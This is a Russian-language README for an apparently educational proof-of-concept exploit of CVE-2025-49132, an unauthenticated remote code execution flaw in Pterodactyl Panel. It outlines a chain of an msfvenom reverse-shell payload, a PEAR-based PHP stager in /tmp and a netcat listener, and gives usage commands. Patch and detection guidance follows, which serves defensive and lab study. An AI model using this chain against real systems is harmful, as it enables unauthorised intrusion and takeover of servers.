Pterodactyl Panel Locale RCE (CVE-2025-49132) — Образовательный PoC
Только для авторизованного тестирования и обучения защите.
Этот репозиторий предназначен для контролируемых лабораторных сред (например, CTF/HTB-подобных стендов), где вы владеете целевой системой или имеете явное письменное разрешение на её тестирование.
Контекст
Этот репозиторий содержит образовательный Python-прототип (pterodactyl_rce.py) для реальной уязвимости, затрагивающей Pterodactyl Panel до версии v1.11.11. При уязвимых конфигурациях неаутентифицированный злоумышленник может добиться удалённого выполнения кода через конечную точку /locales/locale.json из-за некорректной обработки параметров locale и namespace.
Этот вариант PoC нацелен на среды, где установлен PHP-PEAR, и был создан/проверен на вышедшей из ротации машине Hack The Box Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. Он также может работать в других лабораторных стендах при соблюдении тех же условий.
Ссылка на уязвимость
- GitHub Advisory: GHSA-24wv-6c99-f843 (CVE-2025-49132)
- Затронуто: Pterodactyl Panel < 1.11.11
- Исправлено в: v1.11.11 (патч-коммит
24c82b0…)
Общая идея (как работает PoC)
На высоком уровне PoC выполняет следующие шаги:
- Генерирует reverse TCP ELF-пейлоад для Linux x64 с помощью
msfvenom.
- Раздаёт этот ELF через HTTP-сервер (один запрос, затем завершение работы).
- Использует уязвимую обработку
/locales/locale.json, чтобы записать PHP-«стаггер» в /tmp (через трюк с PEAR pearcmd config-create).
- Запускает стаггер через конечную точку locales, чтобы он:
- загрузил ELF в
/tmp,
- сделал его исполняемым,
- выполнил его для обратного подключения к вашему слушателю.
Скрипт использует сырой HTTP-клиент вместо curl для шага «загрузки», потому что некоторые инструменты могут нормализовать или кодировать символы так, что это сломает сформированный запрос.
Примечание: Этот README намеренно остаётся на защитном/образовательном уровне. Используйте код только в средах, где вам разрешено тестирование.
Требования (локально)
- Python 3.10+ (протестировано только со стандартной библиотекой)
msfvenom, доступный в $PATH (Metasploit Framework)
nc (netcat), если вы хотите, чтобы PoC автоматически запускал слушатель
- Сетевая доступность между вашей лабораторной машиной и вашим лабораторным экземпляром Pterodactyl
Конфигурация
Скрипт ожидает hostname панели HTB в исходном коде:
host = "panel.pterodactyl.htb"
Кроме того, жёстко заданный путь к PHP-PEAR установлен как: ../../../../../usr/share/php/PEAR.
Если вы тестируете это за пределами машины Pterodactyl, вам потребуется изменить этот путь в соответствии с вашей локальной конфигурацией.
Использование (только в контролируемой лаборатории)
1) Базовый запуск (с автоматическим слушателем)
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: ваш IP для обратного подключения, доступный лабораторному серверу
<LPORT>: порт для приёма reverse shell
2) Запуск без автоматического слушателя
Если вы предпочитаете запустить собственный слушатель:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
Затем в другом терминале:
nc -lvnp <LPORT>
Пример (заглушка)
python3 pterodactyl_rce.py 10.10.14.225 5555
Вывод / чего ожидать
Типичный ход работы:
- Генерируется ELF-пейлоад (имя файла со случайной составляющей, например
shell_ab12cd34)
- Запускается одноразовый HTTP-сервер на
:8080
- Создаётся PHP-стаггер в
/tmp/<random>.php
- Стаггер запускается
- Локальный ELF-файл удаляется после запуска
- Выводится подсказка по улучшению вашей оболочки (PTY)
Скриншот успешной эксплуатации:

Известные проблемы / лабораторные заметки
- Нестабильность стенда: целевая машина/сервис может быть нестабильными (таймауты, периодические 5xx, задержки выполнения). Если запуск не удался, повторите через небольшую паузу.
- Повторное использование старого пейлоада: среда иногда может срабатывать на ранее загруженный/развёрнутый файл. Скрипт удаляет только локальный файл на атакующей машине,
но не трогает файл в папке
/tmp/ на целевой машине.
Варианты обхода:
- Повторный запуск с новым случайным именем пейлоада (поведение по умолчанию в этом скрипте).
- Изменение начального порта http.server с 8080 на другой порт.
- Изменение порта вашего слушателя (например, 4444 → 5555) и перегенерация пейлоада.
- Убедитесь, что ваш HTTP-сервер раздаёт текущий файл (остановите предыдущий сервер/слушатель).
- Если у вас есть доступ, вручную удалите старые артефакты
/tmp/<name>.php на цели; в противном случае подождите некоторое время и повторите попытку.
Руководство по защите (что исправить / как обнаружить)
Патч / смягчение последствий
- Обновитесь до Pterodactyl Panel v1.11.11 или новее.
- Встроенного обходного пути, кроме патча, нет; вы можете заблокировать конечную точку
/locales/locale.json на уровне веб-сервера, но это может сломать функции локализации.
Идеи для обнаружения
Ищите подозрительные запросы, например:
- Запросы к
/locales/locale.json с необычными последовательностями обхода каталогов в locale=
- Странные значения
namespace= (неожиданные имена, длинные строки, необычные символы)
- Внезапное появление неожиданных файлов в
/tmp/ на хосте панели
Сопоставляйте журналы веб-сервера с:
- новыми процессами, запущенными от пользователя
www / PHP-FPM
- исходящими подключениями к нестандартным адресам/портам
- неожиданным использованием
curl/wget с хоста панели
Заметки об ответственном использовании
- Не сканируйте и не тестируйте публичные экземпляры.
- Если вы оператор уязвимого экземпляра, относитесь к этому как к критической проблеме и немедленно установите патч.
Благодарности
- Оригинальный PoC: Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132) от Zen-kun04
https://www.exploit-db.com/exploits/52341
- Автор отчёта / заслуга в обнаружении: GitHub advisory указывает @azimoff337 за сообщение об GHSA-24wv-6c99-f843 / CVE-2025-49132.
- База данных GitHub Advisory / процесс CVE: за отслеживание и публикацию деталей уязвимости.
- Hack The Box (HTB): этот PoC был создан/проверен в контролируемой лабораторной среде в стиле HTB для обучения и защитных исследований.
Без спойлеров к активному контенту HTB.